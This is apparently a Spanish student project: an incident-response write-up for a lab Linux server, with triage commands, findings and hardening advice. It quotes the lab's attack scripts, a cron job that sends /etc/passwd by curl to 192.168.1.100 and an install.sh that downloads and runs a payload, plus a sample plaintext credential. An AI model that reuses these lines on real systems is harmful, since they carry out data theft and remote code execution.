

Proyecto Final

4 Geeks

A lo largo de esta práctica se investigará de manera metódica un incidente en un servidor Linux.

Se realizará en 8 pasos:

1. Observación general del sistema
2. Revisión de procesos activos
3. Revisión de tareas programadas
4. Revisión de usuarios y accesos
5. Revisión de logs del sistema
6. Revisión de la red y del *firewall*
7. Detección de persistencia y de *backdoors*

Paso 1: Observación general del sistema

El primer comando que se ejecutará será **uptime**, que mostrará:

1. Hora actual.
2. Tiempo desde último arranque.
3. Usuarios conectados.
4. Carga media del último minuto, últimos 5 minutos y últimos 15 minutos.

```
sysadmin@4geeks-server:~$ uptime
15:49:28 up 2:03, 1 user, load average: 0.02, 0.01, 0.00
sysadmin@4geeks-server:~$
```

1 2 3 4 1 min, 5 min, 15 min

El sistema lleva levantado 2 horas y 3 minutos. El espacio que queda mostraría los días, si llegara.

Sólo hay un usuario con una sesión abierta. Con el comando **who** se puede ver qué usuarios son. No indica el número de personas conectadas, pues pueden haber varias terminales SSH con el mismo usuario.

```
sysadmin@4geeks-server:~$ who
sysadmin tty1 2026-07-08 13:50
```

El segundo dato, **tty1**, es la terminal mediante la cual se conecta. Puede ser **ttyx** (**teletype**) que son las consolas visuales del sistema e indica que el usuario está físicamente conectado al servidor, o **pts/x** (**pseudo-terminal**), que indica que el usuario se conectó mediante SSH u otros métodos.

La carga media está subiendo. No es el porcentaje de CPU que se ha estado usando, sino el número de procesos que están ejecutándose, esperando a ser ejecutados o bloqueados por falta de recursos.

El número normal dependerá del número de núcleos del equipo. Un 4 con 4 núcleos indica que están todos ocupados, con 1 núcleo indica que está ocupado y hay 3 a la espera.

El número de núcleos del sistema se puede ver con el comando **nproc**.

```
sysadmin@4geeks-server:~$ nproc
2
```

También se ejecutará **free**, que muestra:

1. El espacio en memoria total.
2. El usado.
3. El disponible.
4. El compartido.
5. La caché.
6. El disponible.

```
sysadmin@4geeks-server:~$ free
total        used        free      shared  buff/cache   available
Mem:    4014020    179864    3483864      1448     350292    3601792
Swap:    3243004           0    3243004
sysadmin@4geeks-server:~$ free -h
total        used        free      shared  buff/cache   available
Mem:    3.8Gi     175Mi    3.3Gi     1.0Mi     342Mi     3.4Gi
Swap:    3.1Gi       0B     3.1Gi
```

El comando **top** muestra la siguiente salida:

```
top - 16:08:22 up 2:22, 1 user, load average: 0.00, 0.00, 0.00
Tasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.2 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.2 si, 0.0 st
MiB Mem : 3919.9 total, 3392.7 free, 175.7 used, 351.5 buff/cache
MiB Swap: 3167.0 total, 3167.0 free, 0.0 used. 3516.9 avail Mem

  PID USER      PR  NI  VIRT  RES  SHR S %CPU  %MEM    TIME+  COMMAND
 2307 root        20   0     0     0     0 I   0.3   0.0   0:00.70 kworker/u4:0-events_power_e+
 2343 sysadmin    20   0   9248   3916  3248 R   0.3   0.1   0:00.06 top
    1 root        20   0 168156 11584  8556 S   0.0   0.3   0:04.22 systemd
    2 root        20   0     0     0     0 S   0.0   0.0   0:00.03 kthreadd
    3 root         0 -20     0     0     0 I   0.0   0.0   0:00.00 rcu_gp
```

La **primera** línea indica la hora actual, el tiempo de arranque, los usuarios conectados y la carga media. Es muy similar al comando **uptime**.

La **segunda** línea indica el número total de tareas, cuántas están ejecutándose, cuántas están "dormidas", cuántas se pararon y cuántas están en estado *zombie*. El último estado indica que la tarea terminó pero que el proceso padre que la llamó aún no recogió su estado de salida.

La **tercera** línea indica el uso de la CPU.

us (User Space)	Tiempo ejecutando tareas normales.
sy (System)	Tiempo ejecutando código Kernel.
ni (Nice)	Procesos con prioridad modificada.
id (Idle)	Es la CPU libre, que no se usó.
wa (Wait)	Tiempo esperando al disco o a la red.
hi (Hardware Interruptions)	Interrupciones del hardware.
si (Software Interruptions)	Interrupciones del software.
st (Steal Time)	Máquinas virtuales.

Importante recordar que el número representa un porcentaje del tiempo dedicado a cada tipo de tarea. Se actualiza cada 3 segundos por defecto, indicando el porcentaje usado en éstos.

En la imagen se ve que un 0.2% del tiempo se usó para sy, otro 0.2% para si, y un 99.7% para el id. Decimales aparte, siempre suma 100.

La **cuarta** línea indica la memoria RAM. En este caso se ve que hay un total de 3.919 MiB de memoria total (~4GB), 3392.7 MiB están libres, se están usando 175.7 MiB y para el buff/caché se dedican 351.5 MiB.

La **quinta** línea indica el espacio swap, el total (3167 MiB), el libre (3167 MiB), el usado (0.0 MiB) y el que está disponible (3516.9 MiB).

El espacio swap viene a ser qué porcentaje del disco duro está siendo usado como RAM. Esto se puede hacer de manera temporal. No es muy eficaz, ya que el disco duro suele ser más lento (100 MB/s) que la RAM (50 GB/s). Las SSD tampoco son mucho más óptimas (500 MB/s).

Estas dos últimas líneas son idénticas a las mostradas por el comando **free**.

Luego tenemos la **Tabla de Procesos**.

PID	Process ID, el identificador del proceso.
USER	El usuario propietario, el que ejecuta el proceso.
PR	Prioridad del scheduler.
NI	Valor Nice. (-20 ... 19)
VIRT	Memoria virtual total.
RES	Memoria RAM realmente usada.
SHR	Memoria compartida. (bibliotecas comunes)
S	Estado del proceso.
%CPU	Uso actual de CPU. (Últimos 3 segundos)
%MEM	Porcentaje de RAM usada. (Instantáneo)
TIME+	Tiempo total del CPU consumido. (Total)
COMMAND	Nombre del proceso.

Los estados del proceso (columna **S**) son R (Running), S (Sleeping), D (Espera ininterrumpible, I/O), T (Detenido), Z (Zombie) o I (Idle kernel thread).

Por último se revisarán las redes con **ip a**:

```
sysadmin@4geeks-server:~$ ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:14:8a:b0 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::a00:27ff:fe14:8ab0/64 scope link
        valid_lft forever preferred_lft forever
sysadmin@4geeks-server:~$
```

Está la localhost que siempre aparece y una única interfaz de red. En este caso una *EtherNet* en la *pci-bus* 0, en el *slot* 3. El estado es *UP*.

Con estos comandos (uptime, free, top, ip address) se tiene una primera impresión del sistema.

Paso 2: Revisión de procesos activos

El comando **ps aux** muestra los procesos activos. Tiene más detalle que el **top** y la opción **sort=start** time lo ordena dejando abajo el último que se ejecutó.

```
99 root      1066  0.0  0.4 535264 17388 ?        S    15:07   0:01 /var/bssec/bin/wazuh-modulesd
100 root      1751  0.1  0.0      0      0 ?        I    15:20   0:07 [kworker/1:2-events]
101 sysadmin   1930  0.0  0.2 19056 9528 ?        Ss   15:45   0:00 /lib/systemd/systemd --user
102 root      1938  0.5  0.0      0      0 ?        I    15:45   0:13 [kworker/1:0-events]
103 sysadmin   1939  0.0  0.0 171380 3412 ?        S    15:45   0:00 (sd-pam)
104 sysadmin   1945  0.0  0.1 8396 5576 tty1      S    15:45   0:00 -bash
105 root      2076  0.1  0.0      0      0 ?        I    15:50   0:04 [kworker/0:0-events]
106 root      2139  0.1  0.0      0      0 ?        I    16:11   0:01 [kworker/u4:1-events_power_ef
107 root      2205  0.1  0.0      0      0 ?        I    16:22   0:00 [kworker/u4:0-events_unbound]
108 root      2220  0.0  0.1 9432 4664 tty1      S+   16:27   0:00 sudo ps aux --sort=start_time
109 root      2222  0.0  0.0      0      0 ?        I    16:27   0:00 [kworker/u4:2]
110 _
```

El comando **pstree -p** muestra qué comando creó otros comandos. Es una relación padre-hijo. El número entre paréntesis es el PID.

```
1 systemd(1)-+-ModemManager(780)-+-{ModemManager}(796)
2                                     \-{ModemManager}(808)
3                                     |
4                                     |   -accounts-daemon(714)-+-{accounts-daemon}(720)
5                                     |   \-{accounts-daemon}(767)
6                                     |
7                                     |   -apache2(858)-+-apache2(859)-+-{apache2}(884)
8                                     |   |               |               |   -{apache2}(885)
9                                     |   |               |               |   -{apache2}(886)
10                                    |   |               |               |   -{apache2}(887)
                                     |   |               |               |   -{apache2}(888)
                                     |   |               |               |   -{apache2}(889)
```

Un ejemplo de un dato sospechoso sería:

```
systemd(1)
├─sshd(700)
│   └─bash(820)
│       └─python3(950)
```

El kernel arranca el sistema e inicia **systemd(1)**.

Éste a su vez inicia el servidor SSH.

Cuando alguien se conecta, el proceso SSH crea un **bash** para la nueva conexión.

Desde esa conexión, se ejecuta un script de python.

En este caso no se ve nada sospechoso ni en **pstree**, ni en **ps aux**.

Paso 3: Revisión de tareas programadas

Las tareas programadas suelen ser usadas para automatizar malware, ejecutar shells reversas o mantener persistencia en el sistema.

El servicio es cron (o crond, depende de la distribución). Un ejemplo de tarea programada puede ser:

Diagrama de la sintaxis de una tarea programada:

- minuto (0-59)
- hora (0-23)
- día del mes (1-31)
- mes (1-12)
- día de la semana (0-7)

Ejemplo: `0 3 * * * /usr/local/bin/backup.sh`

Se listan las tareas programadas que hay en `/etc/cron.d` con el comando:

```
sysadmin@4geeks-server:~$ ls -la /etc/cron.d
total 28
drwxr-xr-x  2 root root 4096 Jun 23  2025 .
drwxr-xr-x 100 root root 4096 Jun 23  2025 ..
-rw-r--r--  1 root root  201 Feb 14  2020 e2scrub_all
-rw-r--r--  1 root root   41 Jun 21  2025 logrotate
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
-rw-r--r--  1 root root  190 Mar 14  2023 popularity-contest
-rw-r--r--  1 root root   44 Jun 23  2025 sys-maintenance
sysadmin@4geeks-server:~$
```

Se muestra el usuario que ejecuta cada comando y su contenido con `cat /etc/cron.d/*`:

```
1 30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
2 10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
3 0 0 * * * root /opt/scripts/logrotate.sh
4 SHELL=/bin/sh
5 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
6 35 0 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --cron
7 */15 * * * * root /usr/local/bin/backup2.sh
```

Nuestro usuario actual no tiene tareas: La tarea de *backup* se ejecuta cada 15 minutos con permisos de administrador.

```
sysadmin@4geeks-server:~$ crontab -l
no crontab for sysadmin
sysadmin@4geeks-server:~$
```

Es anormalmente frecuente para ser un respaldo de datos.

Viendo el contenido, el comportamiento no es de respaldo: Se está creando un archivo detallado de todos los usuarios del sistema y luego mandándolo a una URL.

```
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
```

Se analiza el resto de tareas programadas en busca de alguna que cree este archivo.

```
sysadmin@4geeks-server:~$ ls -la /etc/cron
cron.d/      cron.daily/  cron.hourly/ cron.monthly/ crontab      cron.weekly/
sysadmin@4geeks-server:~$ ls -la /etc/ | grep "cron"
drwxr-xr-x  2 root root      4096 Jun 23  2025 cron.d
drwxr-xr-x  2 root root      4096 Jun 21  2025 cron.daily
drwxr-xr-x  2 root root      4096 Mar 14  2023 cron.hourly
drwxr-xr-x  2 root root      4096 Mar 14  2023 cron.monthly
-rw-r--r--  1 root root     1042 Feb 13  2020 crontab
drwxr-xr-x  2 root root      4096 Mar 14  2023 cron.weekly
sysadmin@4geeks-server:~$ _
```

También se analizan otras maneras de automatizar tareas, como **systemctl list-timers --all**:

1	NEXT	LEFT	LAST	PASSED	UNIT
		ACTIVATES			
2	Sun 2026-07-12 14:56:20 UTC 6min left	Fri 2026-07-10 14:20:55 UTC 2 days ago		apt-d	
	aily-upgrade.timer	apt-daily-upgrade.service			
3	Sun 2026-07-12 16:36:11 UTC 1h 46min left	Mon 2025-06-23 14:20:21 UTC 1 years 0 months ago		apt-d	
	aily.timer	apt-daily.service			
4	Sun 2026-07-12 21:01:52 UTC 6h left	Sun 2026-07-12 14:18:43 UTC 30min ago		ua-ti	
	mer.timer	ua-timer.service			
5	Sun 2026-07-12 21:17:23 UTC 6h left	Thu 2026-07-09 16:50:31 UTC 2 days ago		fwupd	
	-refresh.timer	fwupd-refresh.service			
6	Mon 2026-07-13 00:00:00 UTC 9h left	Wed 2026-07-08 13:48:20 UTC 4 days ago		fstri	
	m.timer	fstrim.service			
7	Mon 2026-07-13 00:00:00 UTC 9h left	Sun 2026-07-12 14:11:10 UTC 38min ago		logro	
	tate.timer	logrotate.service			
8	Mon 2026-07-13 00:00:00 UTC 9h left	Sun 2026-07-12 14:11:10 UTC 38min ago		man-d	
	b.timer	man-db.service			
9	Mon 2026-07-13 02:03:24 UTC 11h left	Sat 2025-06-21 20:03:48 UTC 1 years 0 months ago		motd-	
	news.timer	motd-news.service			
10	Mon 2026-07-13 14:23:49 UTC 23h left	Sun 2026-07-12 14:23:49 UTC 25min ago		syste	
	md-tmpfiles-clean.timer	systemd-tmpfiles-clean.service			
11	Sun 2026-07-19 03:10:22 UTC 6 days left	Sun 2026-07-12 14:11:10 UTC 38min ago		e2scr	
	ub_all.timer	e2scrub_all.service			
12	n/a	n/a	n/a	n/a	snapt
	.snap-repair.timer	snapt.snap-repair.service			
13	_				
14	11 timers listed.				

Analizando el archivo sospechoso.

Se comprueba quién y cuándo creó el archivo con **stat**:

```
sysadmin@4geeks-server:~$ la -l /usr/local/bin/backup2.sh
-rwxr-xr-x 1 root root 127 Jul 12 14:29 /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ uptime
14:33:06 up 24 min,  1 user,  load average: 0.00, 0.00, 0.04
sysadmin@4geeks-server:~$ stat /usr/local/bin/backup2.sh
  File: /usr/local/bin/backup2.sh
  Size: 127          Blocks: 8          IO Block: 4096   regular file
Device: 802h/2050d Inode: 545255       Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/   root)   Gid: (    0/   root)
Access: 2026-07-12 14:30:01.392047726 +0000
Modify: 2026-07-12 14:29:28.684046495 +0000
Change: 2026-07-12 14:29:28.688046495 +0000
 Birth: -
sysadmin@4geeks-server:~$
```

Creado por **root** a las 14:29, siendo en esete momento las 14:33.

Sospecho que la creación de este archivo está vinculada a un *trigger*, borrarlo no será suficiente.

```
sysadmin@4geeks-server:~$ grep -R "backup2.sh" /etc 2>/dev/null
/etc/cron.d/sys-maintenance:*/15 * * * * root /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ grep -R "/usr/local/bin/backup2.sh" /etc 2>/dev/null
/etc/cron.d/sys-maintenance:*/15 * * * * root /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ _
```

Se comprueba dónde se menciona, ya sea para ejecutarlo o crearlo:

No se aprecia ningún **touch** que cree el archivo, ni **cat** que sobrescriba su contenido, ni que se esté copiando con **cp** de otro archivo original (como ejemplos).

El comando **journalctl --since "60 minutes ago"** muestra la ejecución cada 15 minutos del script y el comando cuando se abrió con VIM, pero no la creación o manipulación de este:

```
1354 Jul 12 14:29:18 4geeks-server sudo[2020]: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root
; COMMAND=/usr/bin/vim /usr/local/bin/backup2.sh
1355 Jul 12 14:29:18 4geeks-server sudo[2020]: pam_unix(sudo:session): session opened for user root
by sysadmin(uid=0)
1356 Jul 12 14:29:28 4geeks-server sudo[2020]: pam_unix(sudo:session): session closed for user root
1357 Jul 12 14:30:01 4geeks-server CRON[2034]: pam_unix(cron:session): session opened for user root
by (uid=0)
1358 Jul 12 14:30:01 4geeks-server CRON[2035]: (root) CMD (/usr/local/bin/backup2.sh)
1359 Jul 12 14:30:01 4geeks-server CRON[2034]: pam_unix(cron:session): session closed for user root
1360 Jul 12 14:45:01 4geeks-server CRON[2106]: pam_unix(cron:session): session opened for user root
by (uid=0)
1361 Jul 12 14:45:01 4geeks-server CRON[2107]: (root) CMD (/usr/local/bin/backup2.sh)
1362 Jul 12 14:45:01 4geeks-server CRON[2106]: pam_unix(cron:session): session closed for user root
:set hlsearch
1358,70 99%
```


Paso 4: Revisión de usuarios y accesos

Se busca la creación de un usuario oculto, por ser una manera común de persistencia de datos.

El archivo `/etc/passwd` (tras eliminar las cuentas que no pueden ejecutar una shell):

```
1 root:x:0:0:root:/root:/bin/bash
2 sync:x:4:65534:sync:/bin:/bin/sync
3 tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
4 pollinate:x:110:1::/var/cache/pollinate:/bin/false
5 sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash
6 lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
7 reports:x:1001:1001:::/home/reports:/bin/bash
8 hacker:x:1002:1002::/home/hacker:/bin/bash
```

Se puede ver:

- Usuario
- Contraseña (x, pues ya no se muestra aquí)
- UID (0 root, 1~999 sistema, 1000+ usuarios normales)
- GID
- Directorio Personal
- Shell

El usuario **hacker** es sospechoso, pero no ha iniciado sesión (o al menos no ha dejado rastro):

```
sysadmin@4geeks-server:~$ last -a
sysadmin tty1      Sun Jul 12 16:12    still logged in
reboot  system boot    Sun Jul 12 16:09    still running      5.4.0-216-generic
sysadmin tty1      Sun Jul 12 14:12    - crash (01:57)
reboot  system boot    Sun Jul 12 14:09    still running      5.4.0-216-generic
sysadmin tty1      Fri Jul 10 13:59    - crash (2+00:09)
reboot  system boot    Fri Jul 10 13:50    still running      5.4.0-216-generic
sysadmin tty1      Thu Jul 9 15:45     - crash (22:05)
reboot  system boot    Thu Jul 9 15:05     still running      5.4.0-216-generic
sysadmin tty1      Wed Jul 8 13:50     - crash (1+01:14)
reboot  system boot    Wed Jul 8 13:46     still running      5.4.0-216-generic
sysadmin tty1      Mon Jun 23 16:40    - down (00:04)
reboot  system boot    Mon Jun 23 16:40    - 16:45 (00:05)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:24    - crash (01:15)
reboot  system boot    Mon Jun 23 15:23    - 16:45 (01:22)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:01    - crash (00:21)
reboot  system boot    Mon Jun 23 14:48    - 16:45 (01:57)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 14:08    - 14:43 (00:35)
reports tty1      Mon Jun 23 14:07    - 14:07 (00:00)
sysadmin tty1      Mon Jun 23 14:05    - 14:07 (00:02)
sysadmin tty1      Mon Jun 23 12:57    - 13:39 (00:42)
reboot  system boot    Mon Jun 23 12:53    - 16:45 (03:52)    5.4.0-216-generic
sysadmin tty1      Sat Jun 21 19:05    - down (01:17)
reboot  system boot    Sat Jun 21 19:03    - 20:22 (01:18)    5.4.0-216-generic

wtmp begins Sat Jun 21 19:03:58 2025
sysadmin@4geeks-server:~$
```

Paso 5: Revisión de los logs del sistema

Se pretende identificar un acceso remoto o intentos de fuerza bruta:

```
sysadmin@4geeks-server:~$ grep -i "ssh" /var/log/auth.log
Jul 12 16:12:06 4geeks-server sshd[808]: Server listening on 0.0.0.0 port 22.
Jul 12 16:12:06 4geeks-server sshd[808]: Server listening on :: port 22.
sysadmin@4geeks-server:~$ _
```

No se encuentra nada sospechoso.

El estudio del historial de sysadmin muestra comportamientos sospechosos:

- Manipulación del historial de */home/reports/*
- Creación y manipulación del archivo **credentials.txt**

Pero que esté relacionado con el caso actual del backup2, sólo el **wget** que se hace contra la IP **192.168.1.100**, que es la misma IP a la que se está mandando el archivo.

```
1 rm ~/.bash_history
2 exit
3 echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
4 exit
5 sudo mkdir -p /opt/.archive
6 echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
7 sudo chmod 644 /opt/.archive/credentials.txt
8 echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
9 sudo chown reports:reports /home/reports/.bash_history
10 echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
11 echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
12 echo "./install.sh" | sudo tee -a /home/reports/.bash_history
13 echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
14 sudo chown reports:reports /home/reports/.bash_history
15 sudo touch /home/reports/install.sh
16 sudo nano /home/reports/install.sh
17 sudo touch /home/reports/backup.log
18 sudo nano /home/reports/backup.log
19 sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
20 ls
21 pwd
22 sudo nano /home/reports/chat.txt
23 sudo chown reports:reports /home/reports/chat.txt
24 exit
25 cat /var/backups/.logs/creds.txt
26 sudo mkdir -p /var/backups/.logs
27 echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
28 sudo chmod 644 /var/backups/.logs/creds.txt
29 echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
```

El historial del usuario **reports**:

```
1 cat /opt/.archive/credentials.txt
2 wget http://192.168.1.100/install.sh
3 chmod +x install.sh
4 ./install.sh
5 nano backup.log
```

Se instaló y ejecutó el script **install.sh**, cuyo contenido es:

```
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
~
```

Sospecho que la creación del archivo backup2.sh se encuentra en el interior de ese **payload**.

Paso 6: Revisión de la red y del firewall

Primero se revisan los puertos con **ss -tunl**, para comprobar cuáles están abiertos:

```
sysadmin@4geeks-server:~$ ss -tunl
Netid      State      Recv-Q     Send-Q     Local Address:Port      Peer Address:Port      Process
udp        UNCONN     0           0           127.0.0.53%lo:53        0.0.0.0:*
tcp        LISTEN     0           4096        127.0.0.53%lo:53        0.0.0.0:*
tcp        LISTEN     0           128         0.0.0.0:22              0.0.0.0:*
tcp        LISTEN     0           511         *:80                    *:.*
tcp        LISTEN     0           32          *:21                    *:.*
tcp        LISTEN     0           128         [::]:22                 [::]:.*
sysadmin@4geeks-server:~$
```

Si se quiere ver el propietario, habría que añadir la opción **-p**, y ejecutarse como sudo.

```
1 ss:Port      Peer Address:Port      Process
2 lo:53         0.0.0.0:*            users:(("systemd-resolve",pid=684,fd=12))
3 lo:53         0.0.0.0:*            users:(("systemd-resolve",pid=684,fd=13))
4 .0:22         0.0.0.0:*            users:(("sshd",pid=808,fd=3))
5 *:80         *:.*                 users:(("apache2",pid=845,fd=3),("apache2",pid=844,fd=3),("apac
6 *:21         *:.*                 users:(("vsftpd",pid=740,fd=3))
7 :]:22        [::]:.*             users:(("sshd",pid=808,fd=4))
~
```

El propietario sería **vsftpd**. No se ve nada raro en el servicio.

```
sysadmin@4geeks-server:~$ systemctl status vsftpd
• vsftpd.service - vsftpd FTP server
   Loaded: loaded (/lib/systemd/system/vsftpd.service; enabled; vendor preset: enabled)
   Active: active (running) since Sun 2026-07-12 16:12:06 UTC; 39min ago
   Process: 738 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 740 (vsftpd)
   Tasks: 1 (limit: 4588)
   Memory: 880.0K
   CGroup: /system.slice/vsftpd.service
           └─740 /usr/sbin/vsftpd /etc/vsftpd.conf

Jul 12 16:12:06 4geeks-server systemd[1]: Starting vsftpd FTP server...
Jul 12 16:12:06 4geeks-server systemd[1]: Started vsftpd FTP server.
sysadmin@4geeks-server:~$
```

Se comprueban as reglas del *firewall* con **iptables -nvL**:

```
1 Chain INPUT (policy DROP 0 packets, 0 bytes)
2  pkts bytes target     prot opt in     out     source            destination
3  7590 550K ufw-before-logging-input all -- *      *        0.0.0.0/0         0.0.0.0/0
4  7590 550K ufw-before-input all -- *      *        0.0.0.0/0         0.0.0.0/0
5  0      0 ufw-after-input all -- *      *        0.0.0.0/0         0.0.0.0/0
6  0      0 ufw-after-logging-input all -- *      *        0.0.0.0/0         0.0.0.0/0
7  0      0 ufw-reject-input all -- *      *        0.0.0.0/0         0.0.0.0/0
8  0      0 ufw-track-input all -- *      *        0.0.0.0/0         0.0.0.0/0
9
10 Chain FORWARD (policy DROP 0 packets, 0 bytes)
11  pkts bytes target     prot opt in     out     source            destination
12  0      0 ufw-before-logging-forward all -- *      *        0.0.0.0/0         0.0.0.0/0
13  0      0 ufw-before-forward all -- *      *        0.0.0.0/0         0.0.0.0/0
14  0      0 ufw-after-forward all -- *      *        0.0.0.0/0         0.0.0.0/0
15  0      0 ufw-after-logging-forward all -- *      *        0.0.0.0/0         0.0.0.0/0
16  0      0 ufw-reject-forward all -- *      *        0.0.0.0/0         0.0.0.0/0
17  0      0 ufw-track-forward all -- *      *        0.0.0.0/0         0.0.0.0/0
18
19 Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
20  pkts bytes target     prot opt in     out     source            destination
21  7590 550K ufw-before-logging-output all -- *      *        0.0.0.0/0         0.0.0.0/0
22  7590 550K ufw-before-output all -- *      *        0.0.0.0/0         0.0.0.0/0
23  0      0 ufw-after-output all -- *      *        0.0.0.0/0         0.0.0.0/0
24  0      0 ufw-after-logging-output all -- *      *        0.0.0.0/0         0.0.0.0/0
25  0      0 ufw-reject-output all -- *      *        0.0.0.0/0         0.0.0.0/0
26  0      0 ufw-track-output all -- *      *        0.0.0.0/0         0.0.0.0/0
27
```

Nada fuera de lo común. Es normal que el OUTPUT tenga el policy ACCEPT por defecto, y las ufw que llama sólo aplican a los puertos 21, 22 y 80.

Paso 7: Detección de persistencia y de backdoors.

Ejecutando el comando **ls -la** en la ruta **/usr/local/bin/** se ve un archivo ejecutable.

```
sysadmin@4geeks-server:~$ ls -la /usr/local/bin
total 12
drwxr-xr-x  2 root root 4096 Jul 12 14:29 .
drwxr-xr-x 10 root root 4096 Mar 14  2023 ..
-rwxr-xr-x  1 root root 127 Jul 12 14:29 backup2.sh
sysadmin@4geeks-server:~$ _
```

Buscando en la carpeta **/opt** cualquier archivo con la extensión **sh** aparece uno:

```
sysadmin@4geeks-server:~$ find /opt -type f -iname "*.sh"
/opt/scripts/logrotate.sh
sysadmin@4geeks-server:~$ _
```

Comprobamos los scripts que se ejecutan durante el arranque del sistema.

No existe el archivo **/etc/rc.local**, porque es propio de versiones antiguas.

Se comprueba el **systemctl list-unit-files --type=service** en su lugar.

1	UNIT FILE	STATE	VENDOR PRESET
2	accounts-daemon.service	enabled	enabled
3	apache-htcacheclean.service	disabled	enabled
4	apache-htcacheclean@.service	disabled	enabled
5	apache2.service	enabled	enabled
6	apache2@.service	disabled	enabled
7	apparmor.service	enabled	enabled
8	apport-autoreport.service	static	enabled
9	apport-forward@.service	static	enabled

1. Vulnerabilidades detectadas y corregidas

Vulnerabilidades detectadas

Durante el análisis del servidor se identificaron las siguientes debilidades de seguridad:

- **Ejecución de software no verificado por parte de un usuario.** El usuario `reports` ejecutó un script descargado desde un servidor remoto, permitiendo la instalación de un binario no autorizado.
 - **Persistencia mediante tareas programadas (`cron`).** El binario descargado creó el script `backup2.sh` y registró una tarea programada para ejecutarlo cada 15 minutos.
 - **Exfiltración de información.** El script comprimía información del sistema y la enviaba mediante HTTP al servidor `192.168.1.100.g`
-

Vulnerabilidades corregidas

Como parte de la respuesta al incidente se realizaron las siguientes acciones:

- Eliminación de la tarea programada responsable de la persistencia.
 - Eliminación del script `backup2.sh`.
 - Eliminación de los archivos relacionados con la infección (`install.sh` y `payload`, en caso de permanecer en el sistema).
 - Bloqueo de las comunicaciones con la dirección IP `192.168.1.100` mediante las reglas del firewall.
-

2. Acciones de contención, erradicación y recuperación

Contención

Con el objetivo de impedir que el incidente continuara afectando al sistema:

- Se bloqueó la comunicación con el servidor remoto utilizado para la exfiltración de información.
- Se detuvo la ejecución periódica del script malicioso eliminando la tarea programada correspondiente.

Erradicación

Para eliminar completamente el compromiso detectado:

- Se eliminó el script `backup2.sh`.
- Se eliminaron los archivos descargados durante la ejecución del ataque.
- Se revisaron otros mecanismos habituales de persistencia (`systemd`, perfiles de usuario y tareas programadas), sin encontrar evidencias adicionales.

Recuperación

Una vez eliminado el mecanismo de persistencia:

- Se verificó el estado de los procesos activos.
 - Se comprobó que no existían conexiones de red sospechosas en escucha.
 - Se revisó la configuración del firewall y los servicios expuestos.
 - Se confirmó que el sistema podía continuar prestando servicio sin detectarse nuevas evidencias del incidente.
-

3. Recomendaciones para fortalecer el sistema

Como resultado del análisis, se proponen las siguientes medidas preventivas para reducir la probabilidad de incidentes similares:

Formación de los usuarios

Realizar campañas periódicas de concienciación sobre phishing e ingeniería social para evitar la ejecución de scripts o programas procedentes de fuentes no verificadas.

Principio de mínimo privilegio

Revisar los permisos asignados a los usuarios y asegurarse de que únicamente disponen de los privilegios necesarios para desempeñar sus funciones.

Gestión de cuentas

Revisar periódicamente las cuentas existentes en el sistema.

Las cuentas que ya no sean necesarias (por ejemplo, el usuario `hacker`, si no pertenece a ningún empleado o servicio autorizado) deberían deshabilitarse o eliminarse siguiendo la política de gestión de identidades de la organización.

Reducción de la superficie de ataque

Comprobar si el servicio FTP es realmente necesario.

En caso contrario:

- desinstalar o detener el servicio;
 - cerrar el puerto 21 en el firewall.
-

Monitorización

Implantar mecanismos de monitorización que permitan detectar:

- creación de nuevas tareas `cron`;
 - modificaciones en archivos críticos;
 - conexiones de red inusuales;
 - procesos iniciados desde directorios temporales.
-

Control de conexiones salientes

Restringir, siempre que la operativa lo permita, las conexiones salientes hacia destinos no autorizados.

En este incidente, el malware no necesitó abrir puertos de entrada; simplemente utilizó una conexión HTTP saliente para enviar información al servidor atacante.

Actualización y revisión periódica

Realizar revisiones periódicas de:

- tareas programadas;
 - servicios habilitados;
 - reglas del firewall;
 - usuarios del sistema;
 - puertos expuestos.
-

